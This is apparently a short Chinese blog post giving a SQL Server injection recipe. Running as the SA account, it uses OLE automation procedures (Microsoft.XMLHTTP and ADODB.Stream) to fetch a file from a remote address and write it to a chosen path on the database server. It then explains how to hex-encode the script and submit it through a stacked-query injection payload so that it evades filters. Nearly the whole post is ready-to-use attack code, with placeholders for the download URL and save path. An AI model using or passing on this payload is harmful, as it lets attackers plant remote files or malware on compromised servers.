注意以下语句在SA权限下执行,对于N多扩展存储过程被删除时使用效果最佳。
DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交:
;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--
阅读(623) | 评论(0) | 转发(0) |